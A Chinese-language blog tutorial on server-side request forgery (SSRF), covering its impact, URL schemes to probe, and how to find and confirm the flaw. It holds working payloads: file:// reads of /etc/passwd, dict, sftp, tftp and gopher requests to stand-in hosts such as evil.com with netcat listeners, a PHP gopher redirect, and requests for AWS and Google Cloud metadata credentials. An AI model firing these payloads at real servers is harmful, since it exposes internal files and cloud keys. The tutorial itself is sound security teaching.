SSRF

SSRF

关于SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造),攻击者通过伪造服务器端发起的请求,获取客户端所不能得到的数据。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF危害

  1. 产生反射型 XSS
  2. 通过 url scheme (file:///, dict://, ftp://, gopher:// ...) 读取内部资源或者让服务执行相应的动作
  3. 扫描内部网络和端口
  4. 如果运行在云实例上,可以尝试获取 META-DATA

SSRF产生反射型 XSS

简单的从外部网站获取一个恶意 payload ,并且响应类型是 html 格式,如:

http://localhost:4567/?url=http://brutelogic.com.br/poc.svg

测试 url scheme

当找到一个 SSRF 时,第一件事情就是测试对应可支持的 url scheme,如:

file://

dict://

sftp://

ldap://

tftp://

gopher://
  • file://
    file://模式用于从文件系统中获取文件内容
http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
  • dict://
    dict//通过DICT协议引入定义或者可用的单词列表

当服务端禁止或者只允许白名单从外部网站请求资源,可以通过dic://模式来发送一个请求

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
  • sftp://
    Sftp是一个SSH文件传输协议或安全文件传输协议,和SSH打包在一起的单独协议,和SSH一样都是通过安全连接进行通信。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
  • ldap:// 或 ldaps:// 或 ldapi://
    LDAP代表轻量级的目录访问协议。它是在IP网络上使用的应用程序协议,用于管理和访问分布式目录信息服务。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
  • tftp://
    tftp用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3
  • gopher://

Gopher是一个分布式文档传输服务,允许用户以无缝的方式针对放在不同位置的文档进行浏览、查询、获取。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php

gopher.php (host it on acttacker.com):

<?php
  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test

扫描内部网络和端口

如果他们在 LAN 上运行某些服务,如 Kibana、Elastic Search、MongoDB ,因为防火墙阻止,无法直接进入内部网络。我们可以使用 SSRF 访问到内部服务。

云实例

Amazon: 如果你在 Amazon 中找到 SSRF,则 Amazon 会公开每个 EC2 实例的内部服务,可以查询主机实例的元数据。当你发现在 EC2 上存在 SSRF 漏洞,可尝试如下请求:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

这将提供给我们有趣的信息,如 Aws keys,ssh keys 等

可参考这些 POC :

https://hackerone.com/reports/285380
https://hackerone.com/reports/53088

例如:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD]

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

Google Cloud 同样适用于 google:

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

进一步利用可以带来实例接管

参考:

https://hackerone.com/reports/341876

其它的云实例,你可以参考:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection#ssrf-url-for-aws-bucket

漏洞挖掘

  • 从WEB功能上寻找
  1. 分享:通过URL地址分享内容
  2. 转码:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:通过URL地址翻译对应文本的内容
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能
  6. 未公开的API实现以及其他调用URL的功能
  • 从URL关键字寻找
share、wap、url、link、src、source、target、u、3g、
display、sourceURl、imageURL、domain...

漏洞验证

排除法一

http://www.XXXXX.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。

排除法二

  • 查看burpsuitehttp history是否存在图片的请求。
  • 浏览器审查元素查看是否存在图片的请求。

单服务器

127.0.0.1

多服务器

10.0.0.0–10.255.255.255
172.16.0.0–172.31.255.255 
192.168.0.0–192.168.255.255

CEYE

CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息。

参考:
https://www.secpulse.com/archives/4747.html
https://mp.weixin.qq.com/s/bjjChubAvo8iOUYYU78uaw

posted @ 2019-03-12 17:36  mark-zh  阅读(312)  评论(0编辑  收藏  举报